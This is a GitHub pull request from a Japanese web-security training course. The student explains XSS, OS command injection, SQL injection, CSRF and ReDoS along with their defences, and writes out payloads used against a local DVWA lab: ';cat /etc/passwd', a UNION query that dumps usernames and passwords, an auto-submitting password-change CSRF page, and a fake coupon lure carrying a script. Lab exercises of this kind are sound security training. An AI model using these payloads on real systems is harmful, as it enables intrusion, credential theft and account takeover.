Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

55. WEBサービスの代表的な脆弱性を理解する #230

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
+216 −0
Open

55. WEBサービスの代表的な脆弱性を理解する #230

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
2c9a02e
課題１（質問）課題２（クイズ）
YamazakiYusuke Dec 8, 2024
541598f
課題３（実演）　課題4
YamazakiYusuke Dec 9, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 15 additions & 0 deletions 95IG7y3HHX7yl4/06_WEBの基礎/08_WEBサービスの代表的な脆弱性を理解する/csrf.html
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body onload="document.forms[0].submit()">
<form action="http://localhost/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="cracked">
<input type="hidden" name="password_conf" value="cracked">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
14 changes: 14 additions & 0 deletions 95IG7y3HHX7yl4/06_WEBの基礎/08_WEBサービスの代表的な脆弱性を理解する/xss.html
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
今なら誰でもウーバーイーツ5000円分クーポン配布中!!
<br><br>
<!-- 実際に攻撃する際は、cookieを攻撃者にサイトに送る。 -->
<a href="http://localhost/vulnerabilities/xss_d/?default=<script>alert(document.cookie);</script>">クリック</a>
</body>
</html>
187 changes: 187 additions & 0 deletions 95IG7y3HHX7yl4/06_WEBの基礎/08_WEBサービスの代表的な脆弱性を理解する/課題.md
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,187 @@
# 課題１（質問）
> 以下の脆弱性の仕組み、発生し得る被害、対処法を解説してください

## XSS
**脆弱性の仕組み**
URLのパラメーターに悪意のあるJavaScriptをつけることで、サイト情報を盗んだりサイトを作り変える攻撃。

**発生し得る被害**
- サイト利用者のブラウザ上で、攻撃者の用意したスクリプトの実行によりクッキー値を盗まれ、利用者がなりすましの被害に遭う
- 同じブラウザ上でスクリプトを実行させられ、サイトの利用者の権限でWebアプリケーションの機能を悪用される。
- Webサイト上に偽の入力フォームが表示され、フィッシングにより利用者の個人情報を盗まれる

**対処法**
HTMLの特殊文字(メタ文字)を正しくエスケープすることで、防ぐことができる。

## OSコマンドインジェクション
**脆弱性の仕組み**
外部からの入力を介して不正にOSのコマンドを実行させるサイバー攻撃。
1. 攻撃用ツールを外部からダウンロードする
2. ダウンロードしたツールに実行権限を与える
3. OSの脆弱性を内部から攻撃して管理者権限を得る
4. WEbサーバーは攻撃者の思いのままになる

**発生し得る被害**
- Webサーバー内のファイルの閲覧、改ざん、削除
- 外部へのメールの送信
- 別のサーバーへの攻撃(踏み台と呼ばれる)

**対処法**
OSコマンドインジェクション脆弱性が発生するケースには以下の2つがあります。
- シェル経由でのOSコマンドを呼び出す際に、シェルのメタ文字がエスケープされていない場合
- シェル機能を呼び出せる関数を使用している場合

対策
- OSコマンド呼び出しを使わない実装方法を選択する
- シェル呼び出し機能のある関数の利用を避ける
- 外部から入力された文字列をコマンドラインのパラメータに渡さない
- OSコマンドに渡すパラメータを安全な関数によりエスケープする

## SQLインジェクション
**脆弱性の仕組み**
URLのパラメータに悪意のあるSQL仕込む攻撃。

**発生し得る被害**
- データベース内のすべての情報が外部から盗まれる
- データベースの内容が書き換えられる
- 認証を回避される(IDとパスワードを用意せずにログインされる)
- その他、データベース・サーバー上のファイルの読み、書き、プログラミングの実行などが行われる

**対処法**
- プレースホルダによりSQL文を組み立てる
- アプリケーション側でSQLを組み立てる際に、リテラルを正しく構成するなど、SQLが変更されないようにする
- ORM(Object-Relational Mapping)を使用してSQL文を自動生成する

## CSRF
**脆弱性の仕組み**
<img src="https://www.ipa.go.jp/security/vuln/websecurity/ug65p900000196v0-img/ug65p9000001grm3.png" style="background-color: white;">
[安全なウェブサイトの作り方 - 1.6 CSRF（クロスサイト・リクエスト・フォージェリ）](https://www.ipa.go.jp/security/vuln/websecurity/csrf.html)

**発生し得る被害**
- 使用者のアカウントによる物品の購入
- 利用者の退会
- 利用者のアカウントによる掲示板への書き込み
- 利用者のパスワードやメールアドレスの変更

**対処法**
1. CSRF対策の必要なページを区別する
2. 正規利用者の意図したリクエストを区別出来るように実装する

- 秘密情報(トークン)の埋め込み
- パスワード再入力
- Refererのチェック

> 保険的対策

重要な処理内容を通知するメールを送信する。CSRFは防げないが、攻撃を受けた際にUserにいち早く知らせることが出来る。


[安全なWebアプリケーションの作り方](https://amzn.asia/d/3f8zTO2)


## APIが受け取ったリクエストのbodyの値が妥当なメールアドレスか判断するため、bodyの値をそのまま正規表現に対してtestしたところ、先輩エンジニアから「正規表現エンジンに負荷がかからないか検討した？」と聞かれました。何を、なぜ検討する必要があるのでしょうか？

入力が非常に長い場合や、意図的に悪意のある入力（ReDoS攻撃）が行われた場合、正規表現の処理が遅くなる可能性があります。これにより、サーバーのリソースが過剰に消費され、他のリクエストの処理に影響を与えることがあります。

対策

1. 独自の正規表現を避け、validator.js のようなライブラリを利用する。
2. 正規表現を利用しないといけない場合は、パフォーマンスの良い正規表現にする。safe-regex などのツールを使って簡易的にチェックする。

3. 入力文字数を制限する。

# 課題２（クイズ）
Q1. 反射型XSSと持続型XSSを説明してください。

Q2. SQLインジェクション対策として、プレイスホルダによるSQLの組み立てがあります。静的プレイスホルダと動的プレイスホルダの違いを教えて下さい。

Q3. CSRF対策は、すべてのページで必要である。O or X


A1.
反射型XSS: ユーザーが特定のリンクをクリックしたときにのみ被害が発生
持続型XSS: 攻撃者がWebアプリケーションに悪意のあるスクリプトを残し、ほかのユーザーがページにアクセスするたびにスクリプトが実行されるという攻撃手法
[XSSの3種類の攻撃手法](https://envader.plus/article/13#XSS%E3%81%AE3%E7%A8%AE%E9%A1%9E%E3%81%AE%E6%94%BB%E6%92%83%E6%89%8B%E6%B3%95)

A2.
静的プレースホルダ: SQL組み立てをDB側で行う
動的プレースホルダ: SQL組み立てをアプリ側で行う
静的プレースホルダと動的プレースホルダの違い

A3. X
> CSRF対策はすべてのページについて実施するものではありません。むしろ、対策の必要のないページの方がずっと多いのです。通常のWebアプリケーションは入り口が1箇所とは限らず、検索エンジンやソーシャルブックマーク、その他のリンクなどから、Webアプリケーショ ン上の様々なページにリンクされている場合が一般的です。ECサイトを例にとると、商品力 タログのページは、外部からリンクされることが好ましいページと言えます。このようなペー ジに対して、CSRF対策を実施するべきではありません。
> 一方、ECサイトにおける物品購入や、パスワード変更や個人情報編集などの確定画面は、 他のサイトから勝手に実行されると困るページです。このようなページにはCSRF対策を施し ます。

[安全なWebアプリケーションの作り方 P152](https://amzn.asia/d/3f8zTO2)

# 課題３（実演）
## 脆弱性の攻撃: DVWAに最低限、以下の攻撃を成功させてください
コマンドインジェクション
攻撃コマンド
```
;cat /etc/passwd
```

SQLインジェクション
攻撃コマンド
```
%' and 1=0 union select null, concat(user,':',password) from users #
```

CSRF
攻撃HTML
```html
<body onload="document.forms[0].submit()">
<form action="http://localhost/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="cracked">
<input type="hidden" name="password_conf" value="cracked">
<input type="hidden" name="Change" value="Change">
</form>
</body>
```

XSS
攻撃コマンド

http://localhost/vulnerabilities/xss_d/?default=French
```html
<html>
<body>
今なら誰でもウーバーイーツ5000円分クーポン配布中!!
<br><br>
<!-- 実際に攻撃する際は、cookieを攻撃者にサイトに送る。 -->
<a href="http://localhost/vulnerabilities/xss_d/?default=<script>alert(document.cookie);</script>">クリック</a>
</body>
</html>
```

## それぞれの攻撃に対して有効な防御手段を説明して下さい
課題１と重複しているのでスキップ


# 課題4
> OWASPが提供している「OWASP Top Ten」に目を通してください。WEBサービスの代表的かつ深刻な脆弱性がリストアップされています。この中から脆弱性を1つを選び、あなたが現在開発しているサービスがその脆弱性に対処できていると思うか考えてみてください。

[A06:2021 – Vulnerable and Outdated Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/)

> 使用しているすべてのコンポーネントのバージョンを知らない場合（クライアントサイド・サーバサイドの両方について）。 これには直接使用するコンポーネントだけでなく、ネストされた依存関係も含む。

OSアップデートの際に、依存ライブラリーは確認しているけど、ネストされた依存関係までは見れていない。

> ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合。 これには、OSやWebサーバ、アプリケーションサーバ、データベース管理システム（DBMS）、アプリケーション、API、すべてのコンポーネント、ランタイム環境とライブラリを含む。

レガシーな実装が残っており、一部deprecatedとなっている実装を使用し続けている。そのあたりは怪しいかも。

> 脆弱性スキャンを定期的にしていない場合や、使用しているコンポーネントに関するセキュリティ情報を購読していない場合。

セキュリティー情報は購読している。
脆弱性スキャンは、自分は把握していないがおそらく誰かやっていると思う。

> 基盤プラットフォームやフレームワークおよび依存関係をリスクに基づきタイムリーに修正またはアップグレードしない場合。 パッチ適用が変更管理の下、月次や四半期のタスクとされている環境でよく起こる。 これにより、当該組織は、解決済みの脆弱性について、何日も、場合によっては何ヶ月も不必要な危険にさらされることになる。

フェイタルな問題のパッチの場合は、対応している。

> ソフトウェア開発者が、更新やアップグレードまたはパッチの互換性をテストしない場合。

行っている。